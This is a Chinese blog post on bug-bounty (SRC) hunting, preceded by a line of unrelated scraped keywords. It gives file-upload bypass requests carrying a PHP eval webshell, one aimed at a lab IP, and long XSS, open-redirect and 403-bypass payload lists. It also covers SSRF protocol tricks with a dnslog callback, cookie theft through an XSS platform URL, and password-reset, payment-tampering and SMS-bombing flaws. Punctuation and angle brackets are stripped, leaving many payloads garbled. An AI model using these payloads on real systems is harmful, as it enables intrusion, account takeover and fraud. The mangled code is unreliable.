phpstorm网站开发,wordpress 隔行,重庆网站推广人员,软件开发公司职位介绍src挖洞技术分享
src推荐刚入门的新手首选公益src如漏洞盒子、补天src#xff0c;因为漏洞盒子收录范围广#xff0c;只要是国内的站点都收入#xff0c;相比其它src平台挖掘难度非常适合新手。后续可以尝试先从一些小的src厂商入手。
首先是熟能生巧#xff0c;我一开始挖…src挖洞技术分享
src推荐刚入门的新手首选公益src如漏洞盒子、补天src因为漏洞盒子收录范围广只要是国内的站点都收入相比其它src平台挖掘难度非常适合新手。后续可以尝试先从一些小的src厂商入手。
首先是熟能生巧我一开始挖洞的时候是先从教育edusrc,cnvd平台进行挖掘漏洞但这种打法如果放到src我打的很吃力因为前者基本都是拿网上公开的nday打而后者全是技巧和思路。
在挖掘src的同时必须读懂src平台的规则千万不得越红线同时也要熟悉src平台的收录规则收录那些漏洞不然挖到后发现被忽略这样就前功尽弃了
文件上传
嵌套xss语句
svg、pdf、html、xml
!DOCTYPE html
htmlheadtitle/titlemeta charsetutf-8script typetext/javascriptalert(testxss); /script/headbody
*svg
svg xmlnshttp://www.w3.org/2000/svg version1.1circle cx100 cy50 r40 strokeblack stroke-width2 fillred /scriptalert(1)/script
/svg?xml version”1.0 standalone”no”?
!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtdsvg version”1.1 baseProfile”full” xmlns”http://www.w3.org/2000/svg
polygon id”triangle” points”0,0 0,50 50,0 fill”#009901 stroke”#004400/
script type”text/javascript”
alert(document.cookie);
/script
/svg
存在文件上传的地方 嵌套xss语句
将准备好了的图片xss上传imge/png ,html.html.png
svg重定向
code
?xml version1.0encodingUTF-8standaloneyes?
svg
onloadwindow.locationhttp://www.example.com
xmlnshttp://www.w3.org/2000/svg
/svg
/code
路径可控
当上传的路径时候如果不能上传解析路径则可以尝试是否存路径可控
则原来是user_apply_file
修改后上传的路径为1/23/456/user_app_file
绕过
黑名单
phtml、pht、php、php3、php4、php5
后缀大小写
此方法适合windows环境下如果是Php,可以当做php来解析
后缀名空绕过
那么php和php 当然是不⼀样的
# filenameshell.png
后缀名为点绕过
#**windows**中有一个特性会自动去掉后缀名的
------WebKitFormBoundary0BAvi6S3ETKPlJw4
Content-Disposition: form-data; nameupload_file; filenameshell.php.
Content-Type: image/png
?php eval($_REQUEST[8]);?
------WebKitFormBoundary0BAvi6S3ETKPlJw4
::$DATA
#windows文件流绕过
------WebKitFormBoundary6iEJqkiHLxaG6mxM
Content-Disposition: form-data; nameupload_file; filenameshell.php:DATA
Content-Type: image/png
?php eval($_REQUEST[8]);?
------WebKitFormBoundary6iEJqkiHLxaG6mxM
构造文件后缀绕过
#file_ext strrchr($file_name, .) 是检测末尾最后是否是. (很明显是为了防御双写.)我们可以写⼀个空
------WebKitFormBoundary3b4MZBZoOnzEpoeC
Content-Disposition: form-data; nameupload_file; filenameshell.php. .
Content-Type: image/png
?php eval($_REQUEST[8]);?
------WebKitFormBoundary3b4MZBZoOnzEpoeC
双写绕过
#$file_name str_ireplace($deny_ext,, $file_name);这⾥的意思就是讲检测到的危险字符替换为空
------WebKitFormBoundary3b4MZBZoOnzEpoeC
Content-Disposition: form-data; nameupload_file; filenameshell.pphphp
Content-Type: image/png
?php eval($_REQUEST[8]);?
------WebKitFormBoundary3b4MZBZoOnzEpoeC
%00截断
#他会⾃动重命名 $img_path $_GET[save_path]./.rand(10,99).date(YmdHis)...$file_ext;这⾥很明显使⽤了直接的拼接
POST /Pass-11/index.php?save_path/upload/shell.php%00 HTTP/1.1
Host: 59.63.200.79:8016
-----WebKitFormBoundaryZIDuWzIommKYBtmZ
Content-Disposition: form-data; nameupload_file; filenameshell.jpg
Content-Type: image/jpeg
?php eval($_REQUEST[8]);?
------WebKitFormBoundaryZIDuWzIommKYBtmZ
IIS6解析漏洞
分号截断
使用分号进行截断访问的时候要访问带分号的全名
test.asa;1.gif
目录名代.asp
目录名代.asp,目录内的文件就会被当做asp文件执行
123.asp/12.jpg
CGI解析漏洞
在文件名后加/.php,文件就会被当做php截止
1.jpg/.php
逻辑漏洞
登陆口总结
轰炸、注册、验证码爆破、验证码相关、nday、弱口令、ddos、注入、枚举、越权、二维码劫持、js、url、返回包、信息泄露、rce、xss、ssrf、sql
短信轰炸
可以使用并发、url编码进行、重放
手机号码前后加空格86086008686000/r,/n, 以及特殊符号等
mobile1xxxxxxxxxxopenid
%09 TAB 键水平、%0a 新建一行、%0c 新的一页、%0d return 功能、%0b TAB 键垂直、%a0 空格
验证码DOS
height1111h1111size1111ma
验证码回显
邀请码泄露
绑定关系
如使用1的手机号的验证码如输入2的手机的验证码来修改密码或者登录 修改返回包
flase--true 双写
在注册用户的时候输入两个手机号mobile123456,123456 在删除用户信息的时候如果用户的账号是通过uid来判断的可以尝试是否能双写 奇葩绕过
输入需要找回的用户 在下发手机验证码时候用burp将手机改为自己的手机号 输入我们收到的验证码提交时将手机修改为自己的手机号 然后输入新的密码 重置链接
重置密码会将链接发送到邮箱中可以通过邮箱base64解码来判断账号
js验证
查看源代码是否有信息
任意用户注册
可以利用恶意注册用户来消耗系统资源 #验证码和手机号没有做绑定 #使用一个正确的手机号获取一个验证码输入验证码后将原来的手机号换成其他的 二维码登录劫持
很多网站都会有二维码登录扫描后直接就可以登录对应的账号但是在二维码扫描后没有进行再次确认就会导致二维码劫持可以将二维码转换成url后进行发送给好友进行点击
接管账号
密码重置
密码为空
name lilioldpass 1111111newpass 123456newpass 123456 name lilinewpass 123456newpass 123456 #将密码设置为空 token票据
由于设计缺陷会预设类似于token的效验票据可能导致admin票据任意密码重置 将access0-reset-ticket的票据设置到自己需要设置重置密码的票据
api接口重置密码
如果在登录框中没有可利用点就尝试在js文档中查看是否有接口路径 # /BaseInfo/SystemSet/AlterPassword.html?ID1 这里的id等于 1则是管理员账户的重置密码 短信验证码
在任意密码重置的时候输入的手机号码是B账户的发送请求包 burp中拦截请求包在请求包中修改手机号码为A的手机的账户 在A的手机上接受到验证码后将验证码输入到当时重置密码的时候B账户 如此就可以成功进入到B账户的重置密码的界面了 业务
业务回退
这一步的时候将填写密码的url复制到其它浏览器中如果还是可以能修改密码则存在业务回退‘、
业务查询
业务上线一般存在业务查询范围中如果设定了指定的查询天数如果通过修改的参数来实现可以查看的天数则存在该逻辑漏洞
优惠卷
# 第一反应就是遍历、并发
如果并发不行就可以尝试将浏览器回退前面一个网页 然后继续领取
或者是修改本地的时间
限制地理位置
这里可以通过burp抓包工具抓包查看调用的什么接口让后观察请求的内容是否有地理位置如果存在则使用百度或者其他地理位置查询查询到坐标后进行修改。
支付漏洞
签约漏洞
比如首月多少6第二个月开始20尝试在购买的时候分别使用两个支付方式支付然后都支付后发现是否使用两个6元支付是否能获得两个月的
购买年限 修改年限的数字、拆分购买count1year-------count1day -----根据场景来替换负数购买 修改数量、金币为负数、修改uid为其他人的尝试越权花别人钱支付续费漏洞 比如先购买黄金会员在购买铂金会员查看是否是两个月的铂金会员 不认识的参数逐个去翻译去了解根据经验看这个点 一分钱不花东西拿走实现方式数量改成0、金额修改、支付类型修改付费简历 越权前端越权、后端越权 #灰色disable) 电子书、禁止下载、登录口
并发
Turbo Intruder 是一个 BurpSuite 插件用于发送大量HTTP请求并分析结果
测试并发漏洞
并发与爆破的区别是并发是同一个时间发送的请求在上方框中插入一个x-req:%s
在burp中设置需要使用的点和py脚本 在30个连接中各放入一个请求但会留下最后一个字节不发送出去然后在第 15 行处等待30个连接中的请求都准备好后一起发送最后一个字节这样服务器就会同时处理30个请求从而达到了并发测试的目的。
任意文件下载
在含有下载的参数中file../../../../etc/passwd
重点path、filename有点像目录遍历跨目录、../../超出限制等。下载或读取其他文件
原来是pathedu.gi
path/etc/passwd
越权
在返回包中查看是否存在一个数组为空的情况如果存在则一般就会有越权
越权删除
如果在请求包中删除的是id如果单个id不能删除的话可以进行尝试#{454,568}
url跳转
白名单
url http://example.comevil.com url http://example.com/evil.com 从参数入手:
radirect redirect_to redirect_url url jump jump_to target to link linkto domain 绕过技巧 #斜线绕过 url / http://www.baidu.com // http://www.baidu.com #符号绕过 url https://www.xx.comwww.baidu.com https://www.xx.com #http://www.baidu.com https://www.xx.com/www.baidu.com https://www.xx.com ? http://www.baidu.com https://www.xx.com\\ http://www.baidu.com url . http://evil.com \. /%09/google.com
/%5cgoogle.com
//www.google.com/%2f%2e%2e
//www.google.com/%2e%2e
//google.com/
//google.com/%2f..
//\google.com
/\victim.com:80%40google.com
#可能的开放重定向参数
?urlhttp://{target}
?urlhttps://{target}
?nexthttp://{target}
?nexthttps://{target}
?urlhttps://{target}
?urlhttp://{target}
?url//{target}
?url$2f%2f{target}
?next//{target}
?next$2f%2f{target}
?url//{target}
?url$2f%2f{target}
?url//{target}
/redirect/{target}
/cgi-bin/redirect.cgi?{target}
/out/{target}
/out?{target}
/out?/{target}
/out?//{target}
/out?/\{target}
/out?///{target}
?view{target}
?view/{target}
?view//{target}
?view/\{target}
?view///{target}
/login?to{target}
/login?to/{target}
/login?to//{target}
/login?to/\{target}
/login?to///{target}
TRACE
绕过403和401
1.通过添加请求头X-Originating-IPX-Remote-IPX-client-IPX-Forwarded等。 有些公司会为那些能够访问敏感数据的人将IP列入白名单。这些报头将IP地址作为一个值如果提供的IP与它们的白名单中的IP相匹配您就可以访问资源。2.使用unicode字符尝试插入unicode字符以绕过防御。例如尝试%ca、%sa和许多其他(检查这里或这里)。因此如果/cadmin被阻止请尝试访问%dmin。3.如果GET/admin返回403Forbidden尝试GET/accessible(任何可访问端点)并添加以下任何HTTP头:X-Original-URL:/adminX-override-URL:/adminX-Rewrite-URL:/admin4.尝试不同的有效负载如果GET/admin返回403Forbidden尝试访问:/accessible/..;/admin/.;/admin/admin;//admin/-/./admin/.//admin?param/%2e/admin/admin#5.转换请求方法将方法从GET改为POST看看是否得到了一些东西。 6.访问真实IP通过网站的IP访问该网站以获取被禁止的内容。 7.Fuzzing通过扫描被禁止内容的下一级目录或文件。
信息泄露
AK/SK泄露
AccessKeyId
SecretAccessKey
git源码泄露
利用工具 githack.py 利用工具将源码下载下来python githack.py http://ip/.git/ 下载下来
git log #查看历史配置
git diff 5341311234656321.321 #查看配置信息
svn信息泄露
.svn/entries https://github.com/admintony/svnExploit 其它泄露
/.bash_history #泄露的是历史操作命令 /debug/pprof/cmdline /.git/index/ .svn/entries /.DS_Store /graphql /tenant /sources actuator/env/ /swagger -ui.html... druid未授权访问 # druid未授权访问 ip/druid/index.html ##Druid Index ip/druid/sql.html #Druid sql监控页面 ip/druid/weburi.html #Druid Web URI监控页面 ip/druid/websession.html #Druid Web Session监控页面 json:ip/druid/weburi.json ##Druid Web URI json ip/druid/websession.json ##Druid Web Session json Druid登录接口ipl/druid/login..html #Druid登录认证页面Druid:未授权访问路径 授权
在一些平台中如果存在授权手机号的时候可以通过burp抓包然后来查看是否有返回的信息因此可以遍历手机号查看是否有遍历
隐私合规
通过弹窗注册app首次运行
隐私政策中点不进去或者点进去404
注册同意默认就勾了
隐私政策点进去是乱码
报告
标题xxapp1.1.1版本存在隐私合规用户自动同意隐私政策漏洞
内容
修复建议
拒绝提供不必要信息直接退出app的时候也算是隐私合规
匿名头像
在评论处如果看到有匿名评论可以通过抓包抓取到用户的评论查看他对应的id号
可以将id号拼
地图key
高德webapihttps://restapi.amap.com/v3/direction/walking?origin116.434307,39.90909destination116.434446,39.90816key这里写key高德jsapihttps://restapi.amap.com/v3/geocode/regeo?key这里写keysrsv3location116.434446,39.90816callbackjsonp_258885_platformJS高德小程序定位https://restapi.amap.com/v3/geocode/regeo?key这里写keylocation117.19674%2C39.14784extensionsallsrsxplatformWXJSappnamec589cf63f592ac13bcab35f8cd18f495sdkversion1.2.0logversion2.0百度webapihttps://api.map.baidu.com/place/v2/search?queryATM机tag银行region北京outputjsonak这里写key百度webapiIOS版https://api.map.baidu.com/place/v2/search?queryATM机tag银行region北京outputjsonak这里写keyiPhone7%2C2mcodecom.didapinche.taxios12.5.6腾讯webapihttps://apis.map.qq.com/ws/place/v1/search?keyword酒店boundarynearby(39.908491,116.374328,1000)key这里写key
存在xx地图api接管漏洞攻击者可利用抓取的xx地图ak值任意调用属于xx的xx地图的api额度造成XX的xx地图api额度被恶意盗用消耗等。当额度被消耗完毕后会造成地图加载异常定位服务无法使用等影响用户体验。
未授权
jsfind
将跑出来的东西放到burp里面跑尝试访问一下看是否存在未授权访问
在burp中添加以下字段
pageNum1pageSize10
拒绝服务
资源生成大小可控
此类场景存在图片验证码、二维码 、找回密码
关注一下接口地址https://attack/validcode?w130h53
参数值w130h53我们可以理解为生成的验证码大小长为130宽为53
#可以根据修改参数的大小来判断服务器返回的时间
height1111
h1111
size1111
margin1111
CSRF
退出
在保存头像的时候通过抓包然后修改头像的储存地址将其修改为登录退出的url
portrait http://baidu.com http://baidu.com/logout 当其他的人在评论区访问后浏览器会加载该头像的地址可以直接造成用户直接退出
绕过
如果检测了referer头可以尝试一下方案
删除refere头
将http请求头的目录名字设置为网站检测的fefere头
配合存储xss绕过严谨
XSS
xss解析标签
函数alert(),confirm(),prompt()
可以在url后面?urljavascript:alert1
scriptalert(X);/script
//img srcimage.jpg altDescription of the image
//img srcvalid-image.jpg onerroralert(Image failed to load)(使用onfocus属性)
img srcjavascript:alert(XSS Attack); /
img srcinvalid-image onerroralert(XSS Attack); /
img srcvalid-image.jpg onerroralert(XSS Attack) /
img srcjavascript:eval(alert(\XSS Attack\)) / 使用eval函数执行代码
//a hrefhttps://www.example.comVisit Example Website/a
//a onmouseoverconsole.log(Mouse over the link)Hover me/a(使用onmouseover属性)
a hrefjavascript:alert(XSS Attack);Click me /a
a stylecolor:red; onmouseoveralert(XSS Attack)Hover me/a
//iframe srchttps://www.example.com width600 height400/iframe
iframe srcjavascript:alert(XSS Attack);/iframe
//svg width100 height100circle cx50 cy50 r40 strokeblack stroke-width3 fillred /
/svg
svg onloadalert(XSS Attack)/svg
body onloadalert(XSS Attack)/body
body backgroundjavascript:alert(XSS Attack)
body stylebackground-image: url(javascript:alert(XSS Attack))
input typetext onfocusalert(XSS Attack); /
//div onmouseoverconsole.log(Mouse over the div)Hover me/div
div onmouseoveralert(XSS Attack)Hover me/div
table backgroundjavascript:alert(XSS Attack)/table
form actionjavascript:alert(XSS Attack)!-- form fields go here --
/form
input typeimage srcjavascript:alert(XSS Attack) /
base hrefjavascript:alert(XSS Attack)
反射性xss出现点
#搜索框
用户在搜索框中输入的关键词如果没有正确过滤和转义用户输入可能导致反射性xss
#url参数
如果应用没有对这些参数进行适当的处理可能导致反射性xss
#表单提交
#评论和留言板
评论和留言板更容易导致存储型xss但是在某些情况下如果没有对功能点进行过滤和转义可能导致反射性xss
#分页和排序
web应用可能使用rul参数进行分页和排序如果没有对这些参数进行适当的过滤和转义可能导致反射性xss
#数据可视化和报表
web应用可能使用用户输入的参数进行适当的过滤和转义可能导致反射性xss
#路径导航
web应用可能在路径导航中包含用户输入的内容如果没有正确处理这些输入可能导致反射性xss
url参数 在url参数中尝试修改参数的值然后查看网页源代码中是否有参数值接着在尝试闭合绕过
流程
参数-猜测每一个参数-查看源码-尝试闭合-进行测试ua/u-猜测标签-事件-函数
xss头像
同上所诉在修改头像保存位置可以结合利用xss平台修改为xss平台获取cookie
portrait http://baidu.com http://xss.xsscookie.com XSS插件
首先先在cmd命令中运行phpantomjs.exe xss.js 接着选择payload sql注入
X-Forwarded-For注入
他代表了客户端的真实ip通过修改的值就可以伪造 客户端ip如果程序中获取了这个值然后带入到数据库中就会造成sql注入 rce
登录位置
在用户输入账户和密码的时候可以造成rce js
api接口泄露
查看js源码中查看是否存在api的接口如果存在如/api/register/user 则可以尝试是否存在可以利用点一般情况下就直接拼接api接口如果返回报错了可以观察响应包中的内容进行猜测。
ssrf
ssrf伪协议利用
http://Web常见访问如http://127.0.0.1
file://从文件系统中获取文件内容如file://etc/passwd
dict://字典服务器协议访问字典资源如dict:///ip:6739/info:
sftp://SSH文件传输协议或安全文件传输协议
ldap://轻量级目录访问协议
t计tp://简单文件传输协议
gopher://分布式文档传递服务可使用gopherus生成payload
功能点
url解析与重定向、图片上传与处理、文件上传与处理、webhook功能、远程文件包含
iframe srchttp://6p076o.dnslog.cn
保存头像
点击保存头像,开启burpsuite抓包 可以看到avatar的一个参数,采用的是请求其他地方的图片,此时我们对这条URL进行修改 凭借dnslog并用#注释掉后面的URL地址
容易参生ssrf的参数
url表示外部资源的url
redirect:用于重定向到外部资源的url
callback表示回调uro
images表示外部图片资源的url
source表示外部资源的来源url
domain:表示要解析或访问的域名
link表示外部资源的链接url
data表示外部数据资源的url
webhook:表示用于第三方通知的第三方服务的url
绕过的方法
利用不同的ip表示法尝试使用十进制、八进制、十六进制等绕过方法利用域名解析使用特殊的域名或者子域名、如localhost、http://127.0.0.1.xio.io等利用url编码尝试使用不同的url编码方式如字符编码、双重编码等利用url解析差异利用web应用程序和底层服务器之间url解析差异如使用符号http://www.xxx.comwww.xxyy.com利于用http重定向利用http重定向如301,302跳转将请求从外部资源访问到内部资源 攻击者在自己控制的服务器上设置一个HTTP302重定向。例如当访问http://evi1.com/redirect时 服务器将返回一个HTTP302响应告知客户端重定向到目标内部资源 如http://target-internal-service.local。
gppher协议
Gopher 协议是 HTTP 协议出现之前在 Internet 上常⻅且常⽤的⼀个协议。当然现在 Gopher 协议已经慢慢淡出 历史。 Gopher 协议可以做很多事情特别是在 SSRF 中可以发挥很多重要的作⽤。利⽤此协议可以攻击内⽹的 FTP、 Telnet、Redis、Memcache也可以进⾏ GET、POST 请求。这⽆疑极⼤拓宽了 SSRF 的攻击⾯
协议格式
gopher url 格式为
gopher://host:port/gopher-path
port 默认为70。
gopher-path 其中格式可以是如下其中的⼀种
gophertypeselector
gophertypeselector%09search
gophertypeselector%09search%09gopher_string
整个 部分可以省略这时候 \也可以省略 为默认的1。 是⼀个单字符⽤来表示url 资源的类型在常⽤的安全测试中发现不管这个字符是什么都不影响只要有 就⾏了。 CORS
CORSCross-Origin Resource Sharing即跨域资源共享是用于绕过SOP同源策略来实现跨域资源访问的一种技术是HTML5提供的一种机制。
当在请求头中加入
Origin:www.test.com
如果返回包中响应了
Access-Control-Allow-origin www.test.com
Access-Control-Allow-Credentials true
#因此就存在cors